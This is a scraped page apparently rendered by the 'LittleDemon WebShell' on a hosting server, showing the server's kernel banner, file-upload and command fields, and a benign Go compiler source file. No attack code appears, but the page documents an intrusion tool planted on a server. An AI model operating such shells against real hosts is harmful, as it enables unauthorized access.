LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /opt/golang/1.22.0/src/cmd/compile/internal/types2/
File Upload :
Command :
Current File : //opt/golang/1.22.0/src/cmd/compile/internal/types2/compilersupport.go

// Copyright 2021 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Helper functions exported for the compiler.
// Do not use internally.

package types2

// If t is a pointer, AsPointer returns that type, otherwise it returns nil.
func AsPointer(t Type) *Pointer {
	u, _ := t.Underlying().(*Pointer)
	return u
}

// If t is a signature, AsSignature returns that type, otherwise it returns nil.
func AsSignature(t Type) *Signature {
	u, _ := t.Underlying().(*Signature)
	return u
}

// If typ is a type parameter, CoreType returns the single underlying
// type of all types in the corresponding type constraint if it exists, or
// nil otherwise. If the type set contains only unrestricted and restricted
// channel types (with identical element types), the single underlying type
// is the restricted channel type if the restrictions are always the same.
// If typ is not a type parameter, CoreType returns the underlying type.
func CoreType(t Type) Type {
	return coreType(t)
}

LittleDemon - FACEBOOK
[ KELUAR ]